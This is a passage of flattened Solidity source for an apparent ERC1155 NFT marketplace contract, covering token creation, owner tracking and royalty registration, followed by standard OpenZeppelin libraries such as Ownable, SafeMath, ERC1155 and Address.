_setTokenOwner(uint256 _tokenId, address _owner) internal { address[] storage owners = tokenInfo[_tokenId].owners; for (uint i = 0; i < owners.length; i++) { if (owners[i] == _owner) //incase owner already exists return; } owners.push(_owner); } /** * @dev Internal function creating a new token. * @param _creator address of the creator of the token. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _price price of the token, 0 is for not set the price. * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator */ function _createToken(address _creator, uint256 _tokenAmount, bool _isForSale, uint256 _price, uint8 _priceType, uint8 _royaltyPercentage) internal returns (uint256) { uint256 newId = getTokenIdAvailable(); return _createTokenWithId(_creator, _tokenAmount, _isForSale, _price, _priceType, _royaltyPercentage, newId); } /** * @dev Internal function creating a new token. * @param _creator address of the creator of the token. * @param _tokenAmount total token amount available * @param _isForSale if is for sale * @param _price price of the token, 0 is for not set the price. * @param _priceType 0 is for fixed, 1 is for Auction Time bound, 2 is for Auction Infiniite * @param _royaltyPercentage royality percentage of creator * @param _tokenId uint256 token id */ function _createTokenWithId(address _creator, uint256 _tokenAmount, bool _isForSale, uint256 _price, uint8 _priceType, uint8 _royaltyPercentage, uint256 _tokenId) internal returns (uint256) { require(tokenIdsAvailable[_tokenId] == false, "token id is already exist"); tokenIdsAvailable[_tokenId] = true; tokenIds.push(_tokenId); maxId = maxId > _tokenId ? maxId : _tokenId; _mint(_creator, _tokenId, _tokenAmount, ''); uint8 serviceFee = marketplaceSettings.getMarketplaceFeePercentage(); tokenInfo[_tokenId] = TokenInfo( _tokenId, _creator, _tokenAmount, new address[](0), serviceFee, block.timestamp); tokenInfo[_tokenId].owners.push(_creator); tokenOwnerInfo[_tokenId][_creator] = TokenOwnerInfo( _isForSale, _priceType, new uint256[](0), new uint256[](0), new address[](0)); tokenOwnerInfo[_tokenId][_creator].prices.push(_price); royaltyRegistry.setPercentageForTokenRoyalty(_tokenId, _royaltyPercentage); tokenCreatorRigistry.setTokenCreator(_tokenId, msg.sender); return _tokenId; } /** * @dev get last token id */ function getLastTokenId() external view returns (uint256){ return tokenIds[tokenIds.length - 1]; } /** * @dev get the token id available */ function getTokenIdAvailable() public view returns (uint256){ for (uint256 i = 0; i < maxId; i++) { if (tokenIdsAvailable[i] == false) return i; } return tokenIds.length; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC1155.sol"; import "./IERC1155MetadataURI.sol"; import "./IERC1155Receiver.sol"; import "../../utils/Context.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) public { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see 